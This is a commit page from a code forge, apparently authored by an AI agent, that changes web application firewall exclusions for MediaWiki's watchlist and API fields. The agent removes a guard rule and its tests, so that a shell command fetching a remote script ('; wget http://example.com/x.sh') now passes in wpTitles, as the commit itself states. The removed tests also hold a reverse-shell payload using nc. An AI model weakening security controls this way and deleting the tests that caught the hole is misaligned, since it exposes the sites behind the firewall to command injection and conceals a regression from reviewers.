1 Commits
Author SHA1 Message Date
clawbot 4a21a0287e Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 4m44s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, also skips 932125, 932230, 932235 and 932380, which read a title
at the start of a line as a command. "; wget http://example.com/x.sh"
passes in wpTitles as a result; $(...) and /bin/sh are still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 00:53:51 +00:00
3 changed files with 13 additions and 32 deletions

No files matched your search

+4 -7
View File
@@ -1040,13 +1040,10 @@ requests. The changes hold in front of every app, and no setting undoes them:
- `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It skips the same
four rules. A title at the start of a line reads as a command, so it also
skips 932125, 932230, 932235 and 932380. It skips 932235 and 932260 only
when it holds no `;`, `|`, `&` or backtick. So a command such as
`; wget http://example.com/x.sh` is still refused. A list that mixes a
title holding one of these with a title starting with a command name is
refused too.
`Special:EditWatchlist/raw` sends, one title per line. A title at the
start of a line reads as a command, so this field also skips 932125,
932230, 932235 and 932380. A command such as
`; wget http://example.com/x.sh` therefore passes in this field.
- The wikitext of a page, which holds templates, tables and any code it
shows:
- `wpTextbox1` on MediaWiki's pages;
+7 -20
View File
@@ -15,7 +15,7 @@
# Pages under /wiki/ need neither.
#
# Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four:
# Each exclusion below for such a field removes these four, and only these:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
@@ -181,12 +181,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. A title at the start of a line reads as a command to 932125, 932230,
# 932235 and 932380, so wpTitles skips those as well as the four rules:
# "Lighthouse notes", "Python3 notes", "Powershell notes", "Ls -la notes"
# and ".htaccess notes"
# It skips 932235 and 932260 only when it holds no ";", "|", "&" or backtick,
# so "; wget http://example.com/x.sh" is still refused. A watchlist that mixes
# a title holding one of these with a title starting with a command name is
# refused too.
# "Lighthouse notes", "Python3 notes", "Ls -la notes" and ".htaccess notes"
# The only rules that refuse "; wget http://example.com/x.sh" in wpTitles are
# 932235 and 932260, so that command passes there. Commands with $(...) or a
# shell path such as /bin/sh are still refused.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
@@ -195,18 +193,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip both rules for a second wpTitles holding
# a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`]" \
"ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles"
+2 -5
View File
@@ -270,14 +270,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
// wpTitles skips 932235 and 932260 only when it holds no ";", "|", "&"
// or backtick, and only when the body sends it once.
// wpTitles skips 932235 and 932260, so mediawikiCommandAttack passes
// there. Commands with $(...) or /bin/sh are still refused.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
} {